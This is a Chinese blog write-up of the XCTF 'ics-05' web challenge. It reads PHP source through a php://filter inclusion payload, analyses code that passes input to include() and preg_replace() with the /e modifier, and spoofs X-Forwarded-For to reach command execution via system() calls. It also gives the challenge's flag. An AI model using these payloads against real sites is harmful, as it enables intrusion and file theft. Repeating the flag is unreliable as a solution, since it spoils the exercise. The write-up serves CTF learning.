xctf攻防世界 Web高手进阶区 ics-05

0x01. 进入环境,查看内容

如图:
在这里插入图片描述

给了一张乱七八糟的图,只有设备维护中心可以点击,如图:

在这里插入图片描述
看不出什么内容,再次点击云平台设备维护中心,发现url有猫腻,如图:

在这里插入图片描述
emmm,看到此处,显示了一个index,猜测page肯定是重点。

0x02. 问题分析

0x02_1. php伪协议

什么是php伪协议?这里我参考大佬总结博客:
PHP伪协议详解

page参数一般是文件包含,利用php伪协议读出源码并把它base64编码输出(要不然就直接在网页上执行看不到源码了),这里的命令是:

/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

前端返回结果如图:
在这里插入图片描述
明显的base64编码,丢入base64解码,得到一个php解码文件,如图:
在这里插入图片描述
我们将代码拷出来,进行后续的分析。

0x02_2. 代码分析

截取部分有用代码进行分析,如下:

<?php
$page = $_GET[page];  		# 拿到url中传递的 page参数
if (isset($page)) {   		# 要求拿到的page参数不为空

if (ctype_alnum($page)) {   # ctype_alnum检查$page是否都是字母数字,若都是字母数字则返回ture
?>

    <br /><br /><br /><br />
    <div style="text-align:center">
        <p class="lead"><?php echo $page; die();?></p> # 显示page内容
    <br /><br /><br /><br />

<?php

}else{

?>
        <br /><br /><br /><br />
        <div style="text-align:center">
            <p class="lead">
                <?php

                if (strpos($page, 'input') > 0) { #返回input在$page中出现的第一个匹配的位置,若未找到返回flase
                    die();
                }

                if (strpos($page, 'ta:text') > 0) {
                    die();
                }

                if (strpos($page, 'text') > 0) {
                    die();
                }

                if ($page === 'index.php') { # #返回index.php在$page中出现的第一个匹配的位置,若未找到返回flase
                    die('Ok');
                }
                    include($page);
                    die();
                ?>
        </p>
        <br /><br /><br /><br />
<?php
}}


//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

# 此段代码表示,提交过来的参数携带X_FORWARDED_FOR=127.0.0.1,则执行如下代码
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { 
    echo "<br >Welcome My Admin ! <br >";
    # 参数中包含pat参数,rep参数,sub参数
    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];
	# 要求pat、rep、sub参数都不为空
    if (isset($pattern) && isset($replacement) && isset($subject)) {
    	# 调用preg_replace( mixed $pattern , mixed $replacement , mixed $subject)函数,其中
    	# $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
    	# $replacement: 用于替换的字符串或字符串数组。
    	# $subject: 要搜索替换的目标字符串或字符串数组。
    	# 注意,pattern后添加/e 修正符,则会使 preg_replace() 将 replacement 参数当作 PHP 代码。
    	# 提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含preg_replace() 的行中出现语法解析错误。
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }
}
?>
</body>
</html>

0x02_3. 构造payload

在burpsuite中添加x-forwarded-for: 127.0.0.1,如图,得到Welcome My Admin !
在这里插入图片描述
接着构造pat等参数,payload如下:

/index.php?pat=/123/e&rep=system('ls')&sub=123

在这里插入图片描述
发现有s3chahahaDir文件,构造payload如下:

/index.php?pat=/123/e&rep=system('ls+s3chahahaDir')&sub=123

返回结果如图:
在这里插入图片描述
发现有个flag文件夹,那么我们继续查看,构造payload:

/index.php?pat=/123/e&rep=system('ls+s3chahahaDir/flag')&sub=123

返回结果如图:
在这里插入图片描述
出现了一个flag.php文件,继续构造payload如下:

/index.php?pat=/123/e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=123

返回结果如图:
在这里插入图片描述

0x02_4. 得到最终答案

最终答案为: cyberpeace{0002b4d7b2d0858ebb6e13df4b966bd2}

0x03. 总结

这个题目后面不难,最难的是一开始使用php伪协议,其次是php代码审计。这儿是知识盲区,慢慢积累吧

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
对于题目"web-ics-05",根据提供的引用内容,我们可以得到以下信息: - 这道题可能是在入侵后利用管理平台来完成一些信息的收集,读取文件并利用是非常重要的。\[1\] - 在源代码中有一段注释,提到要给HTTP头部添加X-forwarded-For=127.0.0.1。\[2\] - preg_replace函数可以执行正则表达式的搜索和替换。\[3\] 根据这些信息,我们可以推测"web-ics-05"可能是一道关于入侵和利用管理平台的题目,要求读取文件并进行一些操作,同时还需要使用preg_replace函数进行正则表达式的搜索和替换。具体的题目要求和操作细节可能需要进一步的信息才能确定。 #### 引用[.reference_title] - *1* *3* [xctf-web-ics05](https://blog.csdn.net/zhejichensha_l7l/article/details/113530046)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [攻防世界-ics-05-(详细操作)做题笔记](https://blog.csdn.net/qq_43715020/article/details/125291336)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

l8947943

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值